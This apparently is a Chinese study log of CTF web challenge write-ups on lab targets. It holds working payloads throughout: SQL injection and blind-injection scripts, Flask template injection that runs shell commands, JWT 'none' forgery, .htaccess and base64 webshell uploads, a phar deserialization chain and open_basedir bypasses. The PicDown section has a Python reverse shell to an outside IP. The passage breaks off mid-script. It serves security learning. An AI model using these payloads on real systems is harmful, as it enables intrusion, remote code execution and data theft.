Web5]CyberPunk网页源码提示file，猜测要读文件，伪协议读取?file=php://filter/convert.base64-encode/resource=index.php同样还能读取confirm.php，delete.php，change.php，search.php需要着重看change.php<?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; }else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } ?>其中user_name和phone都有严格的过滤，而唯独address只进行了addslashes函数就好了，所以利用点就是address，来看这句$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];在修改时，将旧地址作为old_address字段重新存入，由此可进行注入(address将单引号加上反斜杠后为\'，但进入数据库的还是'，所以old_address就是我们输入的数据)先进行第一次修改填入payload，flag不在库中1'and updatexml(1,concat(1,(load_file('/flag.txt'))),1)#接着再修改一次，随便填因为长度限制，用right读取后半部分1'and updatexml(1,concat(1,right((load_file('/flag.txt')),30)),1)#[网鼎杯 2018]Comment(不会)参考wp，先.git泄露，然后要恢复，但我下载下来没有.git文件。。。嘶，应该是题目出问题了吧[RCTF2015]EasySQL(不会)注册了半天都没注册成功。这我还做个屁[CSCCTF 2019 Qual]FlaskLight模板注入，看了wp，普遍都是?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}但我怎么知道是要用哪个类啊，以及用的这个subprocess.Popen类我研究了半天也不知道是怎么用的后来发现了另一种解法，不就是过滤了globals吗，字符串拼接就好了?search={{[].__class__.__bases__[0].__subclasses__()[].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}这才是我熟悉的payload?search={{[].__class__.__bases__[0].__subclasses__()[].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}[HITCON 2017]SSRFme <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);首先是代码审计，url为执行的参数，filename则创建文件pathinfo()返回一个关联数组包含有 path 的信息。 包括以下的数组元素：[dirname] //路径名[basename] //文件名[extension] //扩展名这里的GET是perl中的，GET函数底层就是调用了open处理，不过需满足前面文件存在,才会执行open语句,open函数本身还支持file协议可以简单尝试一下，读取根目录?url=file:///&filename=a访问sandbox/MD5(orange+ip)/a显然，是要通过readflag来获得flag所以先创建一个名为|/readflag的文件(这里这个管道符不是很懂。。。)?url=&filename=|/readflag然后读取这个文件?url=file:|/readflag&filename=bperl脚本中GET命令执行漏洞（HITCON 2017 SSRFme）这篇文章讲的比较好[HFCTF2020]EasyLogin注册登录，进去无flag,肯定是得admin登录才有flag。在app.js中就是相关代码那要怎么以admin登录呢？先抓包看看这后面跟着一长串就是jwt，那思路就简单了，伪造jwt来实现admin登录首先解密一下将加密方式改为none就能废了这个加密，然后将secretid改为[](这我搞不懂是为啥)import jwt token = jwt.encode( { "secretid": [], "username": "admin", "password": "123456", "iat": 1590657826 }, algorithm="none",key="" ) print(token) eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU5MDY1NzgyNn0.替换为原来的jwt就能以admin登录登录后多了cookie，再次发包即可得到flag[GYCTF2020]Ezsqli一开始可以常规盲注得到库名，用sys.schema_table_statistics_with_buffer来代替information_shema.tables因为过滤了information，所以无法得到列名，此时得用无列名注入这里用到的的acsii位偏移，就是对字符串进行逐位比较先判断有几列1 ^ ( (select 1,2) > (select * from f1ag_1s_h3r3_hhhhh)) #Error Occured When Fetch Result. 1 ^ ( (select 1,2,3) > (select * from f1ag_1s_h3r3_hhhhh)) #bool(false)由此可知有2列，猜测flag在第二列(ctf中flag一般不会在第一列的，要是不确定就把第一列的数据也跑出来就好了)完整代码如下import requests import time url = 'http://2debc1f8-a31b-4cd0-884b-e008c03d5dc3.node3.buuoj.cn/' flag = '' payload = { 'id':'' } for i in range(1,300): left = 1 right = 127 mid=int((left+right)/2) while(left<right): #payload['id'] = '1^(ascii(substr(database(),%d,1))<%d)'%(i,mid) payload['id'] = '1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),%d,1))<%d)'%(i,mid) r = requests.post(url=url,data=payload) if 'Nu1L' in r.text: left=mid+1 else: right=mid mid=int((left+right)/2) flag+=chr(mid-1) print(flag) for i in range(1,300): for j in range(1,128): payload['id'] = "0^((select '1','%s')>(select * from f1ag_1s_h3r3_hhhhh))"%(flag+chr(j)) r = requests.post(url=url,data=payload) time.sleep(0.03) if 'Nu1L' in r.text: print(flag+chr(j-1)) flag+=chr(j-1) break[SUCTF 2019]EasyWeb<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>这题的知识点有点多，并且都是经典考点首先是正则的绕过，这里用异或绕过<?php function finds($string){ $index = 0; $a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255]; for($i=27;$i<count($a);$i++){ for($j=27;$j<count($a);$j++){ $x = $a[$i] ^ $a[$j]; for($k = 0;$k<strlen($string);$k++){ if(ord($string[$k]) == $x){ echo $string[$k]."\n"; echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n"; $index++; if($index == strlen($string)){ return 0; } } } } } } finds("_GET"); ?>?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo #%86%86%86%86^%d9%c1%c3%d2 = _GET题目给了get_the_flag()，显然是要我们调用这个然后是文件上传部分文件后缀不能有ph文件内容不能出现<?exif_imagetype会检测是否是图片通过phpinfo可以发现是apache，可以上传.htaccess文件，但需要绕过exif_imagetype，所以在文件开头加上定义图片大小来绕过(#在.htaccess中表示注释)#define width 1337 #define height 1337注意，这里不能用GIF89A来绕过，因为这会让.htaccess文件无法解析，也就失去了作用。因为不能上传ph后缀的文件，所以随便定个后缀让它以php解析，同时让文件内容base64编码来绕过(还可以utf-16be来绕过)，然后在.htaccess中利用php伪协议进行解码，完整内容如下.htaccess#define width 1337 #define height 1337 AddType application/x-httpd-php .abc php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"构造木马<?php eval($_REQUEST['cmd']);?>base64编码后PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==加上文件头来绕过shell.abcGIF89a12 PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==多了12是为了补足8个字节，满足base64编码的规则然后上传这两个文件，我看师傅们都直接一个exp完事了，我太菜了，还得手动上传，呜呜呜 POST数据包POC 文件名： 然后有一个问题，需要绕过open_basedirbypass open_basedir的新方法具体原理看不太懂，用就完事了?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));[SWPUCTF 2018]SimplePHP查看文件出可以读文件#function.php <?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo ' '; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo " 请选择上传的文件:" . " "; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ' '; return false; } } } ?> #file.php <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo " There is no file to show! "; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?> #class.php <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>主要看class.php看到注释处有phar协议，估计是phar反序列化没错了，接下来就是看怎么构造pop链了先找到最终的利用点，是Test类中的file_get方法，它可以base64编码输出文件内容，并且Test类有__get方法，当我们调用不可达的属性或不存在的属性时就会触发那就可以利用__get --> get($key) --> file_get($value)而Show类中有__toString，C1e4r类有echo $this->test，只需要让test为一个类就能触发__toString从而触发__getpop链为C1e4r::destruct() -> Show::toString() -> Test::__get()再从头捋一遍首先让C1e4r类中$this->test为show类，从而触发了__toString，然后$this->str['str']->source中让$this->str['str']为test类，这样就访问了test类中的source属性，但这是不存在的属性，从而触发__get开始构造phar<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c1e4r = new C1e4r(); $show = new Show(); $test = new Test(); $c1e4r->str = $show;//利用echo $this->test触发____toString() $show->str['str'] = $test;//利用$this->str['str']->source触发__get $test->params['source'] = "/var/www/html/f1ag.php"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($c1e4r); $phar->addFromString("test.txt", "test");//生成签名 $phar->stopBuffering(); ?>将生成的phar文件后缀改为gif来绕过限制上传后可直接在upload目录查看文件名(我觉得题目可能本来是想让我们自己计算文件名的)phar协议访问上传的文件得到base64编码的flag解码得到flag感觉自己对pop链的构造非常不熟练，对着wp看都要理解半天，并且到最后也不是特别明白，没有wp更是无从下手，这该咋整啊。゜゜(´Ｏ`) ゜゜。[网鼎杯 2020 白虎组]PicDownurl可以任意文件读取读取/proc/self/cmdline(查看当前进程的执行命令)发现app.py，读取app.py(buu这里可以../../../../../../../flag非预期直接读取flag)from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/') def index(): return render_template('search.html') @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value) @app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)审计代码发现我们需要secret.txt中的SECRET_KEY，而secret.txt在程序读取完后就被删除了这里考察的是文件描述符文件描述符：File descriptor,简称fd，当应用程序请求内核打开/新建一个文件时，内核会返回一个文件描述符用于对应这个打开/新建的文件，其fd本质上就是一个非负整数。实际上，它是一个索引值，指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。linux有下面的特性，系统中如果一个程序打开了一个文件没有关闭，即便从外部（如os.remove(SECRET_FILE)）删除之后，在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd，通过这个我们即可得到被删除文件的内容。所以可以通过/proc/self/fd/读取，这个目录包含了当前进程打开的每一个文件的文件描述符发现SECRET_KEY在/proc/self/fd/3中接着再传入shell就可以执行命令了，但是因为没有回显，得python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.***.***.***",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'感觉这题的难点就是对linux中的各目录的了解，反正我不看wp根本就不知道这些目录，并且还看不太懂代码。。。太菜了[HarekazeCTF2019]encode_and_encode<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); //body获取post数据 $json = json_decode($body, true); //对body变量进行json解码 if (is_valid($body) && isset($json) && isset($json['page'])) { //判断body变量是否有效，json数据要有page $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = " not found \n"; } } else { $content = ' invalid request '; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]); 考察的是json转义字符绕过在json中，\uxxxx可以转义字符，例如\u0066为f(也就是unicode编码)同时还需要伪协议来绕过最后的正则匹配{"page":"php://filter/convert.base64-encode/resource=/flag"}经过转义后最终payload为{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}[b01lers2020]Welcome to Earth没什么难度，挺有意思的一题抓包，发现/chase/，后面还是抓包，或者看js文件，可依次访问/leftt/,/shoot/,/door/,/open/,/fight/最后发现乱序的flagfrom itertools import permutations flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"] item = permutations(flag) for i in item: k = ''.join(list(i)) if k.startswith('pctf{') and k.endswith('}'): print(k)[NCTF2019]SQLirobots.txt中有hint.txt$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i"; If $_POST['passwd'] === admin's password, Then you will get the flag;username出可以用\来转义单引号，passwd出进行注入，用%00截断来代替注释成功会有welcome.php接着开始注入，用到regexp注入passwd regexp "^y"; 代表匹配passwd字段的开头为y的字符，就是匹配y这个字符，由此可以盲注import requests from urllib import parse import string import time x = string.ascii_lowercase + string.digits + '_' url = "http://74d99d0e-685b-4fe5-aa73-b4b4c118afbf.node4.buuoj.cn/" flag = '' payload = { "username":"\\", "passwd":"" } list = '' for i in range(1,60): for j in x: payload["passwd"] = '||/**/passwd/**/regexp/**/"^{}";{}'.format(list+j,parse.unquote('%00')) r = requests.post(url=url,data=payload) time.sleep(0.03) if 'welcome' in r.text: list = list + j print(list) break然后用密码和随意用户名登陆即可得到flag[watevrCTF-2019]Cookie Store简单题，图都懒得截，伪造cookie即可购买flag cookie抓包，发现cookie后面的base64编码解码后发现金额，改为1000，替换原cookie，forward得到flag[WUSTCTF2020]CV Maker简单的文件上传先注册一下，登陆后发现可以上传随便上传个图片马，抓包，改成php后缀，文件头加上GIF89A，发现上传成功，路径在网页源码中蚁剑连接，拿到flag[RootersCTF2019]I_<3_Flask题目说是Falsk，大概率是ssti了，但没给参数可以用工具arjun扫出参数，但这工具。我搞半天没整明白。。如果题目做的多的话，应该知道ssti经典的参数就是?name=，试了一下发现注入点就是这那就好办了，题目也没过滤，直接一把梭?name={{url_for.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag.txt%27).read()")}}[CISCN2019 华东南赛区]Double Secretrobots.txt里看一下，没屁用，试了下/secret，发现Tell me your secret.I will encrypt it so others can't see，这里可以结合题目名字,暗示参数名为secret，emmm反正我是没想到输入的数据会加密后返回，试了一下没什么发现，暴躁之余随便乱输一通，结果跳到了报错界面题目用的是flask，看来又是ssti了在报错界面发现解密算法，是rc4，同时泄露了秘钥这就好办了，网上找个rc4加密脚本，加密我们的payload即可试了半天，发现自己找的脚本总有各种问题，最终还是用了wp中的。。。太菜了import base64 from urllib import parse def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容 s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) key = "HereIsTreasure" #此处为密文 message = input("请输入明文:\n") enc_base64 = rc4_main( key , message ) enc_init = str(base64.b64decode(enc_base64),'utf-8') enc_url = parse.quote(enc_init) print("rc4加密后的url编码:"+enc_url) #print("rc4加密后的base64编码"+enc_base64)直接一把梭{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag.txt').read()")}}.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88i%C2%A7M5%C2%93-%C2%80%5E%C3%98%3B%C3%A9%3E%C2%B4r%C2%915%C3%8Ao%C3%A1m%C3%9B%C2%81%C2%A5PF%C3%BF%25%C2%9A%C2%B4K%7Cm%C3%B9%3ES%C2%A8w%0F%C3%8B%C2%AA%0DX%C2%BB%C2%84%16%C2%AAL4%0Cp%C3%AAN%C3%8Fy%C2%AFz%C2%9Fi%5Ep%22%5D%C2%9B%C2%91%12%C3%B6%C2%A4%C2%A3%C3%86%C3%AA%C3%89%C2%AFb%01%C2%85%C2%9A[BJDCTF2020]EzPHP查看网页源码发现base32，解码得到1nD3x.php<?php highlight_file(__FILE__); error_reporting(0); $file = "1nD3x.php"; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = ''; echo " This is a very simple challenge and if you solve it I will give you a flag. Good Luck! "; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job! "; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ? "); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag? "; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die(" Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> 这题考知识点很多，不愧是Y1ng师傅的题首先$_SERVER['QUERY_STRING']，它并不会url解码，所以url编码即可绕过然后是这个if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job! "; } } else die('fxck you! What do you want to do ?!');正则可以%0a绕过，$file则看后面这句if (file_get_contents($file) !== 'debu_debu_aqua') 那么file可以data协议写入数据此时payload为?%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a url解码后如下 ?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute但是看这句if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } $_REQUEST可以接收GET和POST的参数，但对$_REQUEST来说，POST的优先级高于GET，如果两种方式同时传同一个变量，那么会优先接收POST的值，所以这里只要POST随便传个无关值即可file=1&debu=1接下来的这个sha1比较简单，数组绕过即可最后一步是难点if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die(" Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); }因为之前有extract($_GET["flag"]);，可以进行变量覆盖，控制$code和$arg这里要用到的是create_function()的代码注入create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; }如果第二个参数传入 echo 1;}phpinfo();//function f($a) { echo 1;}phpinfo();// } 从而执行phpinfo()命令对于这题，可以用get_defined_vars() 来输出所有变量和值get_defined_vars() 返回由所有已定义变量所组成的数组flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//发现flag文件rea1fl4g.php，用require代替include，然后再get_defined_vars()也就是}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//然而在buu上行不通，只有一个fake_flag原因等会就知道了既然这种方式不行，那就用取反+伪协议读取源码}require(php://filter/convert.base64-encode/resource=rea1fl4g.php);//取反<?php $payload = 'php://filter/convert.base64-encode/resource=rea1fl4g.php'; echo urlencode(~$payload); ?>最终完整payload如下?%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//解码即可拿到flag同时也知道了为什么第一种方法不行，因为unset了还有2种解法，1种是define+fopen ()+fgets ()}define(abc,fopen(~(%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F),r));while(!feof(abc))var_dump(fgets(abc));fclose(abc);//另外1种是数组操作如果在 url 后面加上 xiaolong=php://filter/convert.base64-encode/resource=rea1fl4g.php，之后 get_defined_vars() 得到多维数组，pos() 取内部指针指向的首个元素后得到一个数组，在 end() 取最后一个元素就得到了刚刚 url 后面加上的php伪协议flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&xiaolong=php://filter/convert.base64-encode/resource=rea1fl4g.php另外看好多wp用了异或，我他妈试了半天才发现buu上这题ban了^，没法异或。[GYCTF2020]EasyThinking看题目应该是考thinkphp，先报错得到版本号，同时www.zip泄露源码网上搜一搜漏洞，发现主要是session任意文件执行和反序列化在源码中发现开启了session，那么应该是要考察session任意文件执行了但问题是文件内容怎么写入呢？这又要考察代码审计，注意到题目中出现的搜索模块很突兀，着重看这一块(嗯，道理我都懂，但代码看不懂啊。。。)网站功能源码在app/home/controller/Member.php，一下是搜索部分的代码public function search() { if (Request::isPost()){ if (!session('?UID')) { return redirect('/home/member/login'); } $data = input("post."); $record = session("Record"); if (!session("Record")) { session("Record",$data["key"]); } else { $recordArr = explode(",",$record); $recordLen = sizeof($recordArr); if ($recordLen >= 3){ array_shift($recordArr); session("Record",implode(",",$recordArr) . "," . $data["key"]); //注意这里，直接将搜索的内容写入了服务器生成的SESSION文件中 return View::fetch("result",["res" => "There's nothing here"]); } } session("Record",$record . "," . $data["key"]); return View::fetch("result",["res" => "There's nothing here"]); }else{ return View("search"); } } }再结合这个漏洞，可以做题了注册时抓包，修改PHPSESSID的值为1111111111111111111111111111.php(一共32个字符)在搜索时填入一句话木马<?php @eval($_POST['cmd']);?>访问如下地址http://89b4ee66-300b-48f3-92eb-fa2c940eb1b0.node4.buuoj.cn:81/runtime/session/sess_1111111111111111111111111111.php连接蚁剑，发现flag，但是没法读取需要绕过disable_functions测试后发现之前[极客大挑战 2019]RCE ME那题用的上传so文件的方式行不通，这题用到了另一种方式https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass将其中的命令改为/readflag后上传访问得到flag[NPUCTF2020]ezinclude抓包，发现hash直接在cookie中直接pass=hash即可进入flflflflag.php，先php伪协议读一下 this_is_not_fl4g_and_出题人_wants_girlfriend <> <?php $file=$_GET['file']; if(preg_match('/data|input|zip/is',$file)){ die('nonono'); } @include($file); echo 'include($_GET["file"])'; ?> 扫目录可以扫到dir.php，但我直接429。。。dir.php可以列出tmp目录中的文件，那考察的就是上传临时文件了php7 segment fault特性向PHP发送含有文件区块的数据包时，让PHP异常崩溃退出，POST的临时文件就会被保留php://filter/string.strip_tags/resource=/etc/passwd使用php://filter/string.strip_tags导致php崩溃清空堆栈重启，如果在同时上传了一个文件，那么这个文件就会一直留在tmp目录该方法仅适用于以下php7版本，php5并不存在该崩溃：• php7.0.0-7.1.2可以利用， 7.1.2x版本的已被修复• php7.1.3-7.2.1可以利用， 7.2.1x版本的已被修复• php7.2.2-7.2.8可以利用， 7.2.9一直到7.3到现在的版本已被修复另一个php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA• php7.0.0-7.0.32• php7.0.4-7.2.12• php<=5.6.38的版本expimport requests from io import BytesIO url="http://bd6aaacf-a804-4c91-9d9e-3bbc9c307b3b.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" payload="<?php phpinfo();?>" files={ 